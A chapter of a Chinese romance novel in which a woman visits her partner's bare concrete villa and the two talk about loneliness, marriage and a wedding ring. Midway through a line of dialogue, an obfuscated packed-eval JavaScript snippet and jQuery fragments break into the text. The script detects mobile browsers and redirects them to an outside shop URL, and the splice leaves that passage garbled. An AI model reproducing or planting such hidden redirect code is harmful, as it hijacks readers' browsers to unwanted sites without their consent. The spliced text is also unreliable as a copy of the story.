从队部出来，黎叙闻炫耀似地拿自己的铭牌对着光瞧：“你别说，般配。”


    小小的一块金属牌，在阳光下发着泠泠的光，又因为上面有他们两个的名字排排坐，而显得触手生暖。


    她转头问齐寻：“你跟老纪说了吗？你要换一个……”


    齐寻手握着拳，靠近她举着铭牌的手，一松手，一块一模一样的金属牌顺着链子，一条小鱼一样，垂在了她那块的旁边。


    一对亮银色的铭牌，在初秋的融光中并肩，有风吹过，齐寻那块向她的轻轻一碰，柔软的项链缠住了彼此。


    叮铃一声响，黎叙闻听得五脏六腑都冒着雀跃的气泡，问他：“怎么这就拿到了？不是还得定制？”


    两道雪亮的金属反光照在齐寻脸上。


    可能除了你自己，谁都知道你吃定我了吧。他想。


    黎叙闻盯着那块光亮，看他的眼睛，看他的嘴唇，最后视线又挪到他握着项链的指根。


    那里有一圈更清透更纯净的亮色，一直静静等待着，等待着她目光的停留。


    她被这光亮晃了眼。


    黎叙闻低头戴上牌子，掩去了自己复杂的眼神，故意问：“现在该去哪儿了呀？”


    齐寻也戴上自己的，无奈道：“……去租车吧。”


    黎叙闻一愣：“你家在隔壁省？”


    “没到，不过差不多了，”齐寻说：“现在后悔还来得及。”


    “不后悔，为什么要后悔？”黎叙闻没别的，论性子倔她是第一名：“你就算住羊城我也去！”


    ……


    等车开到“听岚水岸”门口，已经做了好几个梦的黎叙闻终于醒了。


    一睁眼就看到传说中住户非富即贵的别墅区，她简直怀疑自己没睡醒：“停这儿干什么？”


    齐寻把车速降到10，门口的门禁验明他身份，黑色铁艺大门缓缓打开。


    黎叙闻：？


    不是说毛坯房吗？


    齐寻侧脸看了眼她的表情，心里无端紧张：“住在这只是因为离录音棚近。你也说了，是毛坯房。”


    黎叙闻听得很想笑：“你打什么补丁呢？怕我看到你家掉头就走吗？”


    “……怕你落差太大。”


    然后车速就一直维持在10码，乌龟一样，下车走都比他开得快。


    等车一步一步蹭到他家路口，一栋黑灰色水泥裸露的三层别墅，鸡立鹤群地出现在视线的尽头。


    太显眼了，想装看不见都不行。


    黎叙闻仍很乐观：“不过这风格还挺配你的。”


    她扭头看了一眼，身边人紧抿着唇角，没说话。


    直到齐寻拿出钥匙打开门，她才知道，齐寻为什么会是那副表情。


    她以为说它是毛坯房，是因为装修风格粗犷简约，没什么复杂的软装，都来干货，她还想那怎么了，齐寻不就是这样的人吗。


    但真到了这才知道，“毛坯房”三个字根本不是什么比喻，而是白描写实。


    目之所及，这房子大得空旷，一层大概有将近三百平，全是混凝土浇灌而成的灰白颜色，墙上甚至还有粉刷了一半的痕迹。


    而简陋的家具——黎叙闻觉得那都不能称为“家具”，而是该还原成桌子椅子床垫板凳这种原始的词——跟玩具一样，散落在虚空的房间里。


    一只细脚嶙峋的小茶几，一台冰箱，一张不测不到一米宽的床垫，两把木工椅子，看上去不怎么结实，一只容量很大的垃圾桶。


    于是墙角那一套高级的HIFI音响，就像走错了片场的演员一样，跟整个别墅都格格不入。


    “上面两层我不怎么上去，就放了几件衣服，”齐寻身体前所未有地紧绷，声音因为紧张甚至显得冷硬：“你要想去看也行，不过真没什么好看的。”


    地方太空，在里面说话会激起好几波源源不断的回音。


    黎叙闻默默看着这里的每一个角落，想象他在遇到她之前，天天住在这里，是怎么生活的。


    “厨房好像也没装，就一台微波炉和一口锅……你都点外卖吃吗？”她一开口，才发现自己喉咙都粘住了。


    齐寻心虚地瞟了一眼冰箱：“嗯。”


    如果她这时候过去打开冰箱的话，就会看到，里面冻着无数的速冻食品，很多都已经过期很久了。


    但它们都很方便，而且维持生命体征足够了。


    黎叙闻点点头：“哦。”


    她做不出任何反应，只是想，原来这才是他。


    本以为相识之后的点滴已经足够她拼凑成一个完整的齐寻，他应当是吃了很多苦，于是要什么都小心翼翼，永远把自己排在别人后面。


    而今天她踏进这间房子，她才知道，这里才是真正的他——阴森、简陋，没有半分生气，仅仅是活着。他站在人群里，就像这栋毛坯房之于这个活色生香的别墅区，虽然外观不同，但也勉强能说是它们中的一员。


    可它里面是空的。


    “闻闻？”齐寻小心地轻声唤她。


    辽阔空间把他的尾音扩大了数十倍，听上去像一声呜咽：“在想什么？”


    “没，没有。”黎叙闻猛地回神，笑着：“我就是在想象，你以前是怎么过日子的。”


    齐寻看着她闪躲的眼睛。


    他真的后悔了。


    早先决定要跟她有交集的时候，他就应该把这里卖掉，换个正常的地方，哪怕他根本不能住呢。


    这种地方为什么要领她来，为什么要期待她能接受。


    为什么要伤心。


    “你平时不睡觉的时候坐哪里呢？”黎叙闻终于从卡壳中缓过来，在不远处转来转去，坐在那把结构松垮的椅子上：“这里吗？”


    齐寻：“……嗯。”


    “这坐着很难受啊，”黎叙闻感觉腰疼：“坐累了呢？”


    躺地上，齐寻在心里说。


    下一秒，他就看见黎叙闻蹲在水泥地上研究了一会儿，然后直接躺在了地上。


    “我觉得地上舒服呀，你没试过吗？”


    齐寻扬起眉毛盯着她，觉得是自己疯了。


    “你来啊，”她拍拍身边空地：“给你留了地方。”


    齐寻心在不妙地抽搐，大步走过去，伸手想拉她：“起来，要着凉了。”


    黎叙闻一头乌瀑似的长发散落在黑灰冷硬的地上，不再笑了：“来陪我躺会儿，我有话跟你说。”


    齐寻垂下眼睫看着她。


    周围如此寒酸粗陋的颜色，都掩不住她的白皙和明艳。


    这样一个人，无论她说什么，他都不敢听。


    黎叙闻不催他，也不再说话，只是躺在地上，安静地跟他空荡荡的眼神对视。


    只消几秒钟，齐寻还是乖乖躺在了她身边。


    他一躺下来，黎叙闻立刻感觉身上暖和了点，忍不住往他身边贴了贴。齐寻轻轻碰了碰她的手指，感觉有些凉，试探着用手背贴上她的，被她一把抓住。


    宽大的手掌从她手心里挣出来，然后紧紧地整个包裹住她的手。


    齐寻深深闭上眼。


    视觉一旦受限，他的听觉就会成倍暴涨，于是他听见裸露的管道中的水流声，窗外偶尔有车路过的的引擎声，他身边的人跟他一样过快的心跳，和相扣的手腕撞击的脉搏。


    还有她又低又轻的说话声。


    “我之前看过一本书，上面说，一个人住的地方，跟TA的内在空间是协同的——是什么样的人，居家空间也会慢慢变成TA自我认同的样子。”


    “原来你是这样的。”她说。


    齐寻团裹着她手掌的指尖轻轻颤了一下。


    “可我觉得你不是这样。我看见的你不是这样的，齐寻。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190747|190916||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    睫毛闪了闪，他忽地睁开眼睛。


    天花板上什么也没有，只有印印花花的一个不规则的水印圆。


    可他看见了太阳。


    “刚刚我是想问你为什么来着……想了想，还是算了，这大概跟你存在我这里的那个问题一样，是你现在不想提的。”


    齐寻哑着嗓子：“你可以问……”


    “然后让你忍着难过跟我说，或者干脆糊弄我？”黎叙闻笑了，窝在他手心的指尖轻轻挠了挠：“我不问不是因为我不好奇。我不问，是在等你主动开口。”


    她身上的水香一阵一阵在身边萦绕，齐寻一整颗心在这种香气里，轰然坠地。


    她干脆把头靠在他肩膀上：“我们真的很不同。从小家里人就教我，喜欢什么就主动去要，对方不答应还可以商量，即使拿不到我想要的东西，也比两手空空要好。但你不是这样——其实婚戒对你来说，意义非凡，是不是？”


    “……嗯。”


    “那代表什么？”


    “代表……”他舔了舔嘴唇，说得很艰难：“代表我们是一家人。”


    直到这一句的尾音在空中盘桓到消散，黎叙闻才慢慢把手放在他肩膀上，说：“我不知道它对你来说这么重要。”


    “我知道这太越界了。”齐寻自嘲地笑了声：“领了假证的时候，想能多了解你一些；了解了你，又想多陪你一阵子；有了这个，又想拥有；现在你答应跟我在一起了，我又想要你做我的家人。太贪了，我知道。”


    放在身侧的手心里，那凉凉的指尖又挠了他一下。


    “可是我也一样啊，”她轻声说：“想跟你长长久久走下去”


    这句话的回音在四壁间不停地回荡，像一句不肯停歇的承诺。


    齐寻微微侧过脸，看着她发亮的眼睛，任这一声声灌进他耳朵里。


    其余的他都听不见了，能让他一遍遍听见的，只有那句“想跟你长长久久走下去。”


    值了，他想。


    黎叙闻深深吸一次：“我不是不想的，如果你告诉我戒指对你来说意味着家，那我一定会为你戴——但是对婚姻这种形式，我有点害怕。”


    她纤细的指尖去摸他手上的戒指，铂金质地被他的体温炙烤得温暖滑润：“比起祝福，我觉得它更像一句诅咒，就好像原本相爱的人走进去，最终都会变得不幸。”


    “我不是抗拒你，不是抗拒跟你有个家，我只是抗拒婚姻本身。戒指只是个物件，如果你想，我可以为了你戴，但是要我接受别的，你得给我一点时间，”她将手指插入齐寻的指缝，然后十指相扣着握紧：“行吗？”


    被攥紧的不只有齐寻的手，还有他脱落了厚重外壳的柔软的心。


    其实戴不戴戒指又有什么要紧，他要的不过是来自她的一句确认，确认她是认真地要跟他一起生活，确认她能接纳他自己都接纳不了的东西，也确认她不会轻言放弃。


    现在有了她这些话，其它什么都多余。


    这个时刻他实在说不出什么话来，比如谢谢，或者我爱你，好像他一开口，所有填满他的感动和爱意都会瞬间坍缩，坍缩成一些听上去无关紧要、轻描淡写的词语。


    所以他将手慢慢从她指缝里退出来，褪下戒指，交到她手里，又把她的手掌握紧：“你等我的答案，我等你给我戴戒指。”


    那小小的素圈烙在黎叙闻的掌心，带着他体温的温暖触感，一路游到她心里，浮现在她脸上，开出了一朵柔软的笑意。


    “齐先生，”她转过头注视他，带着笑说：“现在你可以拥抱你的家人了。”


    齐寻胸口有一股陌生的踏实感缓缓升起来，充满他空荡了十年的心，于是他也笑起来，手臂一伸，把她捞进怀里。


    在这间不能示人的简陋毛坯房里，他们用一个不分彼此的拥抱，把它变成了家。